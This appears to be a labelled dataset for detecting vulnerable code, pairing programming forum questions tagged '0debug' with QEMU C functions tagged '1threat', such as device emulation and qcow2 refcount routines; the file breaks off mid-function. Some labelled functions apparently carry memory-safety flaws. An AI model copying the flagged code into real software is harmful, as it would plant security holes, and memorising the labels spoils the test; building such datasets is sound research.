"resolved attribute(s) missing" when performing join on pySpark : <p>I have the following two pySpark dataframe:</p> <pre><code>&gt; df_lag_pre.columns ['date','sku','name','country','ccy_code','quantity','usd_price','usd_lag','lag_quantity'] &gt; df_unmatched.columns ['alt_sku', 'alt_lag_quantity', 'country', 'ccy_code', 'name', 'usd_price'] </code></pre> <p>Now I want to join them on common columns, so I try the following:</p> <pre><code>&gt; df_lag_pre.join(df_unmatched, on=['name','country','ccy_code','usd_price']) </code></pre> <p>And I get the following error message:</p> <pre><code>AnalysisException: u'resolved attribute(s) price#3424 missing from country#3443,month#801,price#808,category#803,subcategory#804,page#805,date#280,link#809,name#806,quantity#807,ccy_code#3439,sku#3004,day#802 in operator !EvaluatePython PythonUDF#&lt;lambda&gt;(ccy_code#3439,price#3424), pythonUDF#811: string;' </code></pre> <p>Some of the columns that show up on this error, such as price, were part of another dataframe from which <code>df_lag</code> was built from. I can't find any info on how to interpret this message, so any help would be greatly appreciated.</p>
0debug
PHP How to add plus (+) character before double quotes and words without double quotes in string : <p>I have below string :</p> <pre><code>'this is a "text field" need "to replace"' </code></pre> <p>And I want to add plus (+) character before every un-double quotes words and double quotes like below:</p> <pre><code>'+this +is +"text field" +need +"to replace"' </code></pre> <p>is there any way to perform such action? I tried with str_replace and regex but cant figure out how to do it. </p> <p>Thanks in advanced.</p>
0debug
void parse_option_size(const char *name, const char *value, uint64_t *ret, Error **errp) { char *postfix; double sizef; sizef = strtod(value, &postfix); if (sizef < 0 || sizef > UINT64_MAX) { error_setg(errp, QERR_INVALID_PARAMETER_VALUE, name, "a non-negative number below 2^64"); return; } switch (*postfix) { case 'T': sizef *= 1024; case 'G': sizef *= 1024; case 'M': sizef *= 1024; case 'K': case 'k': sizef *= 1024; case 'b': case '\0': *ret = (uint64_t) sizef; break; default: error_setg(errp, QERR_INVALID_PARAMETER_VALUE, name, "a size"); error_append_hint(errp, "You may use k, M, G or T suffixes for " "kilobytes, megabytes, gigabytes and terabytes.\n"); return; } }
1threat
I dont understand the workflow of a program : #include <iostream> int main() { int nr; std::cin>>nr; while (nr > 0) { int digit = nr % 10; nr /= 10; std::cout<<digit; } return 0; } Can someone please explain the workflow of this program, basically with the input "32" it outputs "23", that is good, thats my goal, my question is, why does it say "23" instead of just "2", why is the "3" being added in the end if i only said "cout digit". I get that the "3" comes from " nr /= 10", but why is it being outputed near the "2" to farm the answer "23"?
0debug
static void pxa2xx_fir_write(void *opaque, hwaddr addr, uint64_t value64, unsigned size) { PXA2xxFIrState *s = (PXA2xxFIrState *) opaque; uint32_t value = value64; uint8_t ch; switch (addr) { case ICCR0: s->control[0] = value; if (!(value & (1 << 4))) s->rx_len = s->rx_start = 0; if (!(value & (1 << 3))) { } s->enable = value & 1; if (!s->enable) s->status[0] = 0; pxa2xx_fir_update(s); break; case ICCR1: s->control[1] = value; break; case ICCR2: s->control[2] = value & 0x3f; pxa2xx_fir_update(s); break; case ICDR: if (s->control[2] & (1 << 2)) { ch = value; } else { ch = ~value; } if (s->enable && (s->control[0] & (1 << 3))) { qemu_chr_fe_write_all(&s->chr, &ch, 1); } break; case ICSR0: s->status[0] &= ~(value & 0x66); pxa2xx_fir_update(s); break; case ICFOR: break; default: printf("%s: Bad register " REG_FMT "\n", __FUNCTION__, addr); } }
1threat
static void z2_init(MachineState *machine) { const char *cpu_model = machine->cpu_model; const char *kernel_filename = machine->kernel_filename; const char *kernel_cmdline = machine->kernel_cmdline; const char *initrd_filename = machine->initrd_filename; MemoryRegion *address_space_mem = get_system_memory(); uint32_t sector_len = 0x10000; PXA2xxState *mpu; DriveInfo *dinfo; int be; void *z2_lcd; I2CBus *bus; DeviceState *wm; if (!cpu_model) { cpu_model = "pxa270-c5"; } mpu = pxa270_init(address_space_mem, z2_binfo.ram_size, cpu_model); #ifdef TARGET_WORDS_BIGENDIAN be = 1; #else be = 0; #endif dinfo = drive_get(IF_PFLASH, 0, 0); if (!dinfo && !qtest_enabled()) { fprintf(stderr, "Flash image must be given with the " "'pflash' parameter\n"); exit(1); } if (!pflash_cfi01_register(Z2_FLASH_BASE, NULL, "z2.flash0", Z2_FLASH_SIZE, dinfo ? dinfo->bdrv : NULL, sector_len, Z2_FLASH_SIZE / sector_len, 4, 0, 0, 0, 0, be)) { fprintf(stderr, "qemu: Error registering flash memory.\n"); exit(1); } pxa27x_register_keypad(mpu->kp, map, 0x100); pxa2xx_mmci_handlers(mpu->mmc, NULL, qdev_get_gpio_in(mpu->gpio, Z2_GPIO_SD_DETECT)); type_register_static(&zipit_lcd_info); type_register_static(&aer915_info); z2_lcd = ssi_create_slave(mpu->ssp[1], "zipit-lcd"); bus = pxa2xx_i2c_bus(mpu->i2c[0]); i2c_create_slave(bus, TYPE_AER915, 0x55); wm = i2c_create_slave(bus, "wm8750", 0x1b); mpu->i2s->opaque = wm; mpu->i2s->codec_out = wm8750_dac_dat; mpu->i2s->codec_in = wm8750_adc_dat; wm8750_data_req_set(wm, mpu->i2s->data_req, mpu->i2s); qdev_connect_gpio_out(mpu->gpio, Z2_GPIO_LCD_CS, qemu_allocate_irqs(z2_lcd_cs, z2_lcd, 1)[0]); z2_binfo.kernel_filename = kernel_filename; z2_binfo.kernel_cmdline = kernel_cmdline; z2_binfo.initrd_filename = initrd_filename; z2_binfo.board_id = 0x6dd; arm_load_kernel(mpu->cpu, &z2_binfo); }
1threat
static int QEMU_WARN_UNUSED_RESULT update_refcount(BlockDriverState *bs, int64_t offset, int64_t length, int addend) { BDRVQcowState *s = bs->opaque; int64_t start, last, cluster_offset; int64_t refcount_block_offset = 0; int64_t table_index = -1, old_table_index; int first_index = -1, last_index = -1; int ret; #ifdef DEBUG_ALLOC2 printf("update_refcount: offset=%" PRId64 " size=%" PRId64 " addend=%d\n", offset, length, addend); #endif if (length < 0) { return -EINVAL; } else if (length == 0) { return 0; } start = offset & ~(s->cluster_size - 1); last = (offset + length - 1) & ~(s->cluster_size - 1); for(cluster_offset = start; cluster_offset <= last; cluster_offset += s->cluster_size) { int block_index, refcount; int64_t cluster_index = cluster_offset >> s->cluster_bits; int64_t new_block; old_table_index = table_index; table_index = cluster_index >> (s->cluster_bits - REFCOUNT_SHIFT); if ((old_table_index >= 0) && (table_index != old_table_index)) { ret = write_refcount_block_entries(bs, refcount_block_offset, first_index, last_index); if (ret < 0) { return ret; } first_index = -1; last_index = -1; } new_block = alloc_refcount_block(bs, cluster_index); if (new_block < 0) { ret = new_block; goto fail; } refcount_block_offset = new_block; block_index = cluster_index & ((1 << (s->cluster_bits - REFCOUNT_SHIFT)) - 1); if (first_index == -1 || block_index < first_index) { first_index = block_index; } if (block_index > last_index) { last_index = block_index; } refcount = be16_to_cpu(s->refcount_block_cache[block_index]); refcount += addend; if (refcount < 0 || refcount > 0xffff) { ret = -EINVAL; goto fail; } if (refcount == 0 && cluster_index < s->free_cluster_index) { s->free_cluster_index = cluster_index; } s->refcount_block_cache[block_index] = cpu_to_be16(refcount); } ret = 0; fail: if (refcount_block_offset != 0) { int wret; wret = write_refcount_block_entries(bs, refcount_block_offset, first_index, last_index); if (wret < 0) { return ret < 0 ? ret : wret; } } if (ret < 0) { int dummy; dummy = update_refcount(bs, offset, cluster_offset - offset, -addend); } bdrv_flush(bs->file); return ret; }
1threat
How to register C++ React Native module in Android : <p>I have a C++ React Native module derived from <code>facebook::xplat::module::CxxModule</code>. It is working ok with iOS project but now I'm trying to figure out how to use it from Java. The only documentation I found is the comment in React Native codebase stating that:</p> <blockquote> <p>NativeModules whose implementation is written in C++ must not provide any Java code (so they can be reused on other platforms), and instead should register themselves using CxxModuleWrapper</p> </blockquote> <p>My question is how to register C++ module in Java using CxxModuleWrapper</p>
0debug
Emotion API's For tracking human interesets : <p>I am trying to implement a application to recognized human facial expressions(happiness,sadness,boring, etc,) then after automatically selecting a song which suitable for current emotion of the person, if he is sad system playing enjoyable song, how can i do this thing, if any API's already have? any examples for me? </p>
0debug
Javascript working on local, not working online : <p>I've just uploaded my website and something is wrong. I have a smooth scrolling when clicking in the navigation menù, and it worked on local (I used brackets), now it's not. Also, when I access to the site from my phone, the menù doesn't open. Can someone help please? The site is <a href="http://www.chiarabonsignore.com" rel="nofollow">http://www.chiarabonsignore.com</a></p>
0debug
I have c sharp code, how can i convert it into android : I have c sharp code snippet for encryption and my requirement is to decrypt in android, having problem public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) { byte[] encryptedBytes = null; // Set your salt here, change it to meet your flavor: // The salt bytes must be at least 8 bytes. byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; using (MemoryStream ms = new MemoryStream()) { using (RijndaelManaged AES = new RijndaelManaged()) { AES.KeySize = 256; AES.BlockSize = 128; var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000); AES.Key = key.GetBytes(AES.KeySize / 8); AES.IV = key.GetBytes(AES.BlockSize / 8); AES.Mode = CipherMode.CBC; using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) { cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length); cs.Close(); } encryptedBytes = ms.ToArray(); } } return encryptedBytes; }
0debug
Difference between the semilog function and plot in Matlab? : <p>I don't understand when to use the semilogx or semilogy function in Matlab and when to use the plot function,for example for displaying the spectrum of a signal</p>
0debug
could i replace or slice dash in array : can i replace the dash in array until end of the string in array ? if i have = `["Doni-night", "Mike-night" ]` and i wantr the output to be array `["Doni", "Mike"]` or we should use loop to slice them ??
0debug
Regex - extract word from www.anything.com : <p>I am trying to use Regex to match a word within a www URL. In the event that the www does not exist, I would still like it to match on the '.com'. For example if the following text was present...</p> <p>www.<strong>anything</strong>.com</p> <p><strong>anything</strong>.com</p> <p>It would return "<strong>anything</strong>" as the result. In the event that the 'www' is not present, it could still get it from the word before '.com'. But if the 'www' is present, I would like it to look there first. </p> <p>Any thoughts?</p>
0debug
how to retrieve words based on user inputting letter from a TreeSet or TreeMap efficiently without delay ?? : **how to retrieve words based on user inputting letter from a TreeSet or TreeMap efficiently without delay ??** i want to store some elements in TreeMap or TreeSet and when user insert an alphabet based on that first word starts from that alphabet should be returned..
0debug
void scsi_req_free(SCSIRequest *req) { scsi_req_dequeue(req); qemu_free(req); }
1threat
Flattening arbitrarily deep nested lists : <p>I want to retrieve data from n nested lists in Python. That is:</p> <pre><code>[[[[[1, 2]]]]] =&gt; [1, 2] </code></pre> <p>I could obviously do something like:</p> <pre><code>mylist[0][0][0][0] </code></pre> <p>But I'm wondering if there is a way to do this without having to know how deep the nesting of the list is. </p> <p>I want to do this because I have got some fairly malformed data from a REST API request which needs processing. </p>
0debug
How to set a different namespace for child helm charts? : <p>When you install a chart with a child chart that doesn't specify a namespace, Helm will use the one specified on command line via <code>--namespace</code>. Is it possible to override this flag for a specific child chart? </p> <p>For example if I have chart A which depends on chart B and I specify <code>--namespace foo</code>, I want to be able to customize the resources of chart B to be installed into some other namespace <code>bar</code> instead of <code>foo</code>.</p>
0debug
static inline void RENAME(hyscale)(uint16_t *dst, int dstWidth, uint8_t *src, int srcW, int xInc, int flags, int canMMX2BeUsed, int16_t *hLumFilter, int16_t *hLumFilterPos, int hLumFilterSize, void *funnyYCode, int srcFormat, uint8_t *formatConvBuffer, int16_t *mmx2Filter, int32_t *mmx2FilterPos) { if(srcFormat==IMGFMT_YUY2) { RENAME(yuy2ToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } else if(srcFormat==IMGFMT_UYVY) { RENAME(uyvyToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } else if(srcFormat==IMGFMT_BGR32) { RENAME(bgr32ToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } else if(srcFormat==IMGFMT_BGR24) { RENAME(bgr24ToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } else if(srcFormat==IMGFMT_BGR16) { RENAME(bgr16ToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } else if(srcFormat==IMGFMT_BGR15) { RENAME(bgr15ToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } else if(srcFormat==IMGFMT_RGB32) { RENAME(rgb32ToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } else if(srcFormat==IMGFMT_RGB24) { RENAME(rgb24ToY)(formatConvBuffer, src, srcW); src= formatConvBuffer; } #ifdef HAVE_MMX if(!(flags&SWS_FAST_BILINEAR) || (!canMMX2BeUsed)) #else if(!(flags&SWS_FAST_BILINEAR)) #endif { RENAME(hScale)(dst, dstWidth, src, srcW, xInc, hLumFilter, hLumFilterPos, hLumFilterSize); } else { #ifdef ARCH_X86 #ifdef HAVE_MMX2 int i; if(canMMX2BeUsed) { asm volatile( "pxor %%mm7, %%mm7 \n\t" "movl %0, %%ecx \n\t" "movl %1, %%edi \n\t" "movl %2, %%edx \n\t" "movl %3, %%ebx \n\t" "xorl %%eax, %%eax \n\t" PREFETCH" (%%ecx) \n\t" PREFETCH" 32(%%ecx) \n\t" PREFETCH" 64(%%ecx) \n\t" #define FUNNY_Y_CODE \ "movl (%%ebx), %%esi \n\t"\ "call *%4 \n\t"\ "addl (%%ebx, %%eax), %%ecx \n\t"\ "addl %%eax, %%edi \n\t"\ "xorl %%eax, %%eax \n\t"\ FUNNY_Y_CODE FUNNY_Y_CODE FUNNY_Y_CODE FUNNY_Y_CODE FUNNY_Y_CODE FUNNY_Y_CODE FUNNY_Y_CODE FUNNY_Y_CODE :: "m" (src), "m" (dst), "m" (mmx2Filter), "m" (mmx2FilterPos), "m" (funnyYCode) : "%eax", "%ebx", "%ecx", "%edx", "%esi", "%edi" ); for(i=dstWidth-1; (i*xInc)>>16 >=srcW-1; i--) dst[i] = src[srcW-1]*128; } else { #endif asm volatile( "xorl %%eax, %%eax \n\t" "xorl %%ebx, %%ebx \n\t" "xorl %%ecx, %%ecx \n\t" ".balign 16 \n\t" "1: \n\t" "movzbl (%0, %%ebx), %%edi \n\t" "movzbl 1(%0, %%ebx), %%esi \n\t" "subl %%edi, %%esi \n\t" - src[xx] "imull %%ecx, %%esi \n\t" "shll $16, %%edi \n\t" "addl %%edi, %%esi \n\t" *2*xalpha + src[xx]*(1-2*xalpha) "movl %1, %%edi \n\t" "shrl $9, %%esi \n\t" "movw %%si, (%%edi, %%eax, 2) \n\t" "addw %4, %%cx \n\t" "adcl %3, %%ebx \n\t" "movzbl (%0, %%ebx), %%edi \n\t" "movzbl 1(%0, %%ebx), %%esi \n\t" "subl %%edi, %%esi \n\t" - src[xx] "imull %%ecx, %%esi \n\t" "shll $16, %%edi \n\t" "addl %%edi, %%esi \n\t" *2*xalpha + src[xx]*(1-2*xalpha) "movl %1, %%edi \n\t" "shrl $9, %%esi \n\t" "movw %%si, 2(%%edi, %%eax, 2) \n\t" "addw %4, %%cx \n\t" "adcl %3, %%ebx \n\t" "addl $2, %%eax \n\t" "cmpl %2, %%eax \n\t" " jb 1b \n\t" :: "r" (src), "m" (dst), "m" (dstWidth), "m" (xInc>>16), "m" (xInc&0xFFFF) : "%eax", "%ebx", "%ecx", "%edi", "%esi" ); #ifdef HAVE_MMX2 } #endif #else int i; unsigned int xpos=0; for(i=0;i<dstWidth;i++) { register unsigned int xx=xpos>>16; register unsigned int xalpha=(xpos&0xFFFF)>>9; dst[i]= (src[xx]<<7) + (src[xx+1] - src[xx])*xalpha; xpos+=xInc; } #endif } }
1threat
Check how many digits in Java program & and terminate if not 5 digits? : <p>I am trying to complete an assignment, and I have almost fully completed it but I am have some trouble figuring out the last part. </p> <p>How to: Check whether the number you received has five digits or not. Terminate gracefully if it doesn’t by notifying that the number should have 5 digits.</p> <p>I've tried some stuff but I cannot get it to check correctly.</p> <p>Here is my code:</p> <pre><code>import java.util.Scanner; public class Five { public static void main( String args[] ) { Scanner input = new Scanner( System.in ); int number; int digit1; int digit2; int digit3; int digit4; int digit5; System.out.print( "Enter a five digit integer: " ); number = input.nextInt(); digit1 = number / 10000; digit2 = number % 10000 / 1000; digit3 = number % 10000 % 1000 / 100; digit4 = number % 10000 % 1000 % 100 / 10; digit5 = number % 10000 % 1000 % 100 % 10; System.out.printf( "Digits in %d are %d %d %d %d %d/n", number, digit1, digit2, digit3, digit4, digit5 ); } } </code></pre> <hr> <p>Thank you</p>
0debug
How to run wp cli in docker-compose.yml : <p>Just starting in docker here</p> <p>So I got this in my <strong>docker-compose.yml</strong></p> <pre><code>version: '3.3' services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD: somewordpress MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress wordpress: depends_on: - db image: wordpress:latest ports: - 8000:80 restart: always environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_NAME: wordpress WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress WORDPRESS_TABLE_PREFIX: "wp_" WORDPRESS_DEBUG: 1 wordpress-cli: depends_on: - db - wordpress image: wordpress:cli command: wp core install --path="/var/www/html" --url=localhost --title="Local Wordpress By Docker" --admin_user=admin --admin_password=secret --admin_email=foo@bar.com volumes: db_data: </code></pre> <p>So I wanted to run the <strong>wp core install</strong> so that I won't have to go through the process of <strong>manually</strong> setting up my test wordpress site.</p> <p>However when I run <strong>docker-compose up</strong>, this does not seem to work, I got this error on the console</p> <p><a href="https://i.stack.imgur.com/gggqc.png" rel="noreferrer"><img src="https://i.stack.imgur.com/gggqc.png" alt="enter image description here"></a></p> <p>What am I missing here? Anyone can help me accomplish my goal of <strong>automating the of setting up wordpress install?</strong></p> <p>Thanks in advance</p>
0debug
Meaning of "this" in this code? : <pre><code> public boolean contains(Object o) { for (E x : this) if (x.equals(o)) return true; return false; } </code></pre> <p>Can someone tell me what excatly means "this" in this code? Can I write it without this and how?</p>
0debug
build_fadt(GArray *table_data, GArray *linker, AcpiPmInfo *pm, unsigned facs, unsigned dsdt) { AcpiFadtDescriptorRev1 *fadt = acpi_data_push(table_data, sizeof(*fadt)); fadt->firmware_ctrl = cpu_to_le32(facs); bios_linker_loader_add_pointer(linker, ACPI_BUILD_TABLE_FILE, ACPI_BUILD_TABLE_FILE, table_data, &fadt->firmware_ctrl, sizeof fadt->firmware_ctrl); fadt->dsdt = cpu_to_le32(dsdt); bios_linker_loader_add_pointer(linker, ACPI_BUILD_TABLE_FILE, ACPI_BUILD_TABLE_FILE, table_data, &fadt->dsdt, sizeof fadt->dsdt); fadt_setup(fadt, pm); build_header(linker, table_data, (void *)fadt, "FACP", sizeof(*fadt), 1, NULL); }
1threat
vu_queue_notify(VuDev *dev, VuVirtq *vq) { if (unlikely(dev->broken)) { return; } if (!vring_notify(dev, vq)) { DPRINT("skipped notify...\n"); return; } if (eventfd_write(vq->call_fd, 1) < 0) { vu_panic(dev, "Error writing eventfd: %s", strerror(errno)); } }
1threat
Getting Action Cable to broadcast in Sidekiq Job : <p>I'm using Rails 5 in a docker environment and I can get Action Cable to broadcast on a Sidekiq worker perfectly fine, using worker.new.perform. </p> <p>But for the life of me, I cannot get it to broadcast while using worker.perform_async.</p> <p>Here is my cable.yml:</p> <pre><code>default: &amp;default adapter: redis url: &lt;%= ENV['REDIS_PROVIDER'] %&gt; development: &lt;&lt;: *default test: &lt;&lt;: *default production: &lt;&lt;: *default </code></pre> <p>Here is my worker:</p> <pre><code>class AdminWorker include Sidekiq::Worker def perform ActionCable.server.broadcast 'admin_channel', content: 'hello' end end </code></pre> <p>My Admin Channel:</p> <pre><code>class AdminChannel &lt; ApplicationCable::Channel def subscribed stream_from "admin_channel" end def unsubscribed # Any cleanup needed when channel is unsubscribed end end </code></pre> <p>As I mentioned earlier, this works just fine when calling AdminWorker.new.perform. As soon as I try to run AdminWorker.perform_async, the cable will not broadcast and nothing helpful regarding action cable in the logs. What am I missing here?</p>
0debug
How to remove quotes from scrapy output? : I am scraping Dmoz website and I made a lot of functions but I just wanna show you the function in which I am facing problem and that is whenever I print the output I get ```quotes``` in regional_subcategories b/w different region, and I wanna remove it. I used ```strip``` in list in ```for loop``` to remove ```\r\n```. But I faced another problem of ```quotes```. How to deal with that? Here is the image: https://imgur.com/jthsRyK def Regional_category(self, response): items = response.meta['items'] names = {'name1':'Regional_subcategories' # 'name2':'Related_Categories', # 'name3':'Site title', # 'name4':'Site Description' } finder = {'finder1': '.browse-node::text', # 'finder2': '.one-browse-node::text', # 'finder3': '.site-title::text', # 'finder4': '.site-descr::text', } for name, find in zip(names.values(), finder.values()): items[name] = list(map(str.strip,response.css(find.strip()).extract())) yield items
0debug
java | Please help to understand not return the minimum value : Please help to underdtand why in thefolloiwng i didn't gotintoftheminimum value in array , usering scanner for input value and need when inout -1 the programm shod ouput also the minimun number thank you import java.util.Scanner; public class Test { public static void main(String[] args) { // TODO Auto-generated method stub int[] list; list = new int[10000]; int sum = 0; double avr = 0; int min = list [0]; int max = list [0]; int x = 0; int value; Scanner input = new Scanner(System.in); System.out.print("Add number " + (x + 1) + ": "); value = input.nextInt(); while (x <= list.length && (value != -1 || x == 0)) { list[x] = value; x++; System.out.print("Add number " + (x + 1) + ": "); value = input.nextInt(); } for (int i = 0; i < list.length; i++) { sum += list[i]; avr = sum / x; if(list[i] > max) max = list[i]; if( list[i] < min ) min = list[i]; } System.out.println("The sum of all values are: " + sum); System.out.println("The average value of the numbers are: " + avr); System.out.println("The maximum value of the numbers are: " + max); System.out.println("The minimum value of the numbers are: " + min); } }
0debug
static int opus_packet(AVFormatContext *avf, int idx) { struct ogg *ogg = avf->priv_data; struct ogg_stream *os = &ogg->streams[idx]; AVStream *st = avf->streams[idx]; struct oggopus_private *priv = os->private; uint8_t *packet = os->buf + os->pstart; int ret; if (!os->psize) return AVERROR_INVALIDDATA; if (os->granule > INT64_MAX - UINT32_MAX) { av_log(avf, AV_LOG_ERROR, "Unsupported huge granule pos %"PRId64 "\n", os->granule); return AVERROR_INVALIDDATA; } if ((!os->lastpts || os->lastpts == AV_NOPTS_VALUE) && !(os->flags & OGG_FLAG_EOS)) { int seg, d; int duration; uint8_t *last_pkt = os->buf + os->pstart; uint8_t *next_pkt = last_pkt; duration = 0; seg = os->segp; d = opus_duration(last_pkt, os->psize); if (d < 0) { os->pflags |= AV_PKT_FLAG_CORRUPT; return 0; } duration += d; last_pkt = next_pkt = next_pkt + os->psize; for (; seg < os->nsegs; seg++) { next_pkt += os->segments[seg]; if (os->segments[seg] < 255 && next_pkt != last_pkt) { int d = opus_duration(last_pkt, next_pkt - last_pkt); if (d > 0) duration += d; last_pkt = next_pkt; } } os->lastpts = os->lastdts = os->granule - duration; } if ((ret = opus_duration(packet, os->psize)) < 0) return ret; os->pduration = ret; if (os->lastpts != AV_NOPTS_VALUE) { if (st->start_time == AV_NOPTS_VALUE) st->start_time = os->lastpts; priv->cur_dts = os->lastdts = os->lastpts -= priv->pre_skip; } priv->cur_dts += os->pduration; if ((os->flags & OGG_FLAG_EOS)) { int64_t skip = priv->cur_dts - os->granule + priv->pre_skip; skip = FFMIN(skip, os->pduration); if (skip > 0) { os->pduration = skip < os->pduration ? os->pduration - skip : 1; os->end_trimming = skip; av_log(avf, AV_LOG_DEBUG, "Last packet was truncated to %d due to end trimming.\n", os->pduration); } } return 0; }
1threat
static ssize_t rtl8139_do_receive(VLANClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt) { RTL8139State *s = DO_UPCAST(NICState, nc, nc)->opaque; int size = size_; uint32_t packet_header = 0; uint8_t buf1[60]; static const uint8_t broadcast_macaddr[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; DEBUG_PRINT((">>> RTL8139: received len=%d\n", size)); if (!s->clock_enabled) { DEBUG_PRINT(("RTL8139: stopped ==========================\n")); return -1; } if (!rtl8139_receiver_enabled(s)) { DEBUG_PRINT(("RTL8139: receiver disabled ================\n")); return -1; } if (s->RxConfig & AcceptAllPhys) { DEBUG_PRINT((">>> RTL8139: packet received in promiscuous mode\n")); } else { if (!memcmp(buf, broadcast_macaddr, 6)) { if (!(s->RxConfig & AcceptBroadcast)) { DEBUG_PRINT((">>> RTL8139: broadcast packet rejected\n")); ++s->tally_counters.RxERR; return size; } packet_header |= RxBroadcast; DEBUG_PRINT((">>> RTL8139: broadcast packet received\n")); ++s->tally_counters.RxOkBrd; } else if (buf[0] & 0x01) { if (!(s->RxConfig & AcceptMulticast)) { DEBUG_PRINT((">>> RTL8139: multicast packet rejected\n")); ++s->tally_counters.RxERR; return size; } int mcast_idx = compute_mcast_idx(buf); if (!(s->mult[mcast_idx >> 3] & (1 << (mcast_idx & 7)))) { DEBUG_PRINT((">>> RTL8139: multicast address mismatch\n")); ++s->tally_counters.RxERR; return size; } packet_header |= RxMulticast; DEBUG_PRINT((">>> RTL8139: multicast packet received\n")); ++s->tally_counters.RxOkMul; } else if (s->phys[0] == buf[0] && s->phys[1] == buf[1] && s->phys[2] == buf[2] && s->phys[3] == buf[3] && s->phys[4] == buf[4] && s->phys[5] == buf[5]) { if (!(s->RxConfig & AcceptMyPhys)) { DEBUG_PRINT((">>> RTL8139: rejecting physical address matching packet\n")); ++s->tally_counters.RxERR; return size; } packet_header |= RxPhysical; DEBUG_PRINT((">>> RTL8139: physical address matching packet received\n")); ++s->tally_counters.RxOkPhy; } else { DEBUG_PRINT((">>> RTL8139: unknown packet\n")); ++s->tally_counters.RxERR; return size; } } if (size < MIN_BUF_SIZE) { memcpy(buf1, buf, size); memset(buf1 + size, 0, MIN_BUF_SIZE - size); buf = buf1; size = MIN_BUF_SIZE; } if (rtl8139_cp_receiver_enabled(s)) { DEBUG_PRINT(("RTL8139: in C+ Rx mode ================\n")); #define CP_RX_OWN (1<<31) #define CP_RX_EOR (1<<30) #define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1) #define CP_RX_TAVA (1<<16) #define CP_RX_VLAN_TAG_MASK ((1<<16) - 1) int descriptor = s->currCPlusRxDesc; target_phys_addr_t cplus_rx_ring_desc; cplus_rx_ring_desc = rtl8139_addr64(s->RxRingAddrLO, s->RxRingAddrHI); cplus_rx_ring_desc += 16 * descriptor; DEBUG_PRINT(("RTL8139: +++ C+ mode reading RX descriptor %d from host memory at %08x %08x = %016" PRIx64 "\n", descriptor, s->RxRingAddrHI, s->RxRingAddrLO, (uint64_t)cplus_rx_ring_desc)); uint32_t val, rxdw0,rxdw1,rxbufLO,rxbufHI; cpu_physical_memory_read(cplus_rx_ring_desc, (uint8_t *)&val, 4); rxdw0 = le32_to_cpu(val); cpu_physical_memory_read(cplus_rx_ring_desc+4, (uint8_t *)&val, 4); rxdw1 = le32_to_cpu(val); cpu_physical_memory_read(cplus_rx_ring_desc+8, (uint8_t *)&val, 4); rxbufLO = le32_to_cpu(val); cpu_physical_memory_read(cplus_rx_ring_desc+12, (uint8_t *)&val, 4); rxbufHI = le32_to_cpu(val); DEBUG_PRINT(("RTL8139: +++ C+ mode RX descriptor %d %08x %08x %08x %08x\n", descriptor, rxdw0, rxdw1, rxbufLO, rxbufHI)); if (!(rxdw0 & CP_RX_OWN)) { DEBUG_PRINT(("RTL8139: C+ Rx mode : descriptor %d is owned by host\n", descriptor)); s->IntrStatus |= RxOverflow; ++s->RxMissed; ++s->tally_counters.RxERR; ++s->tally_counters.MissPkt; rtl8139_update_irq(s); return size_; } uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK; if (size+4 > rx_space) { DEBUG_PRINT(("RTL8139: C+ Rx mode : descriptor %d size %d received %d + 4\n", descriptor, rx_space, size)); s->IntrStatus |= RxOverflow; ++s->RxMissed; ++s->tally_counters.RxERR; ++s->tally_counters.MissPkt; rtl8139_update_irq(s); return size_; } target_phys_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI); cpu_physical_memory_write( rx_addr, buf, size ); if (s->CpCmd & CPlusRxChkSum) { } #if defined (RTL8139_CALCULATE_RXCRC) val = cpu_to_le32(crc32(0, buf, size)); #else val = 0; #endif cpu_physical_memory_write( rx_addr+size, (uint8_t *)&val, 4); #define CP_RX_STATUS_FS (1<<29) #define CP_RX_STATUS_LS (1<<28) #define CP_RX_STATUS_MAR (1<<26) #define CP_RX_STATUS_PAM (1<<25) #define CP_RX_STATUS_BAR (1<<24) #define CP_RX_STATUS_RUNT (1<<19) #define CP_RX_STATUS_CRC (1<<18) #define CP_RX_STATUS_IPF (1<<15) #define CP_RX_STATUS_UDPF (1<<14) #define CP_RX_STATUS_TCPF (1<<13) rxdw0 &= ~CP_RX_OWN; rxdw0 |= CP_RX_STATUS_FS; rxdw0 |= CP_RX_STATUS_LS; if (packet_header & RxBroadcast) rxdw0 |= CP_RX_STATUS_BAR; if (packet_header & RxMulticast) rxdw0 |= CP_RX_STATUS_MAR; if (packet_header & RxPhysical) rxdw0 |= CP_RX_STATUS_PAM; rxdw0 &= ~CP_RX_BUFFER_SIZE_MASK; rxdw0 |= (size+4); rxdw1 &= ~CP_RX_TAVA; val = cpu_to_le32(rxdw0); cpu_physical_memory_write(cplus_rx_ring_desc, (uint8_t *)&val, 4); val = cpu_to_le32(rxdw1); cpu_physical_memory_write(cplus_rx_ring_desc+4, (uint8_t *)&val, 4); ++s->tally_counters.RxOk; if (rxdw0 & CP_RX_EOR) { s->currCPlusRxDesc = 0; } else { ++s->currCPlusRxDesc; } DEBUG_PRINT(("RTL8139: done C+ Rx mode ----------------\n")); } else { DEBUG_PRINT(("RTL8139: in ring Rx mode ================\n")); int avail = MOD2(s->RxBufferSize + s->RxBufPtr - s->RxBufAddr, s->RxBufferSize); if (avail != 0 && size + 8 >= avail) { DEBUG_PRINT(("rx overflow: rx buffer length %d head 0x%04x read 0x%04x === available 0x%04x need 0x%04x\n", s->RxBufferSize, s->RxBufAddr, s->RxBufPtr, avail, size + 8)); 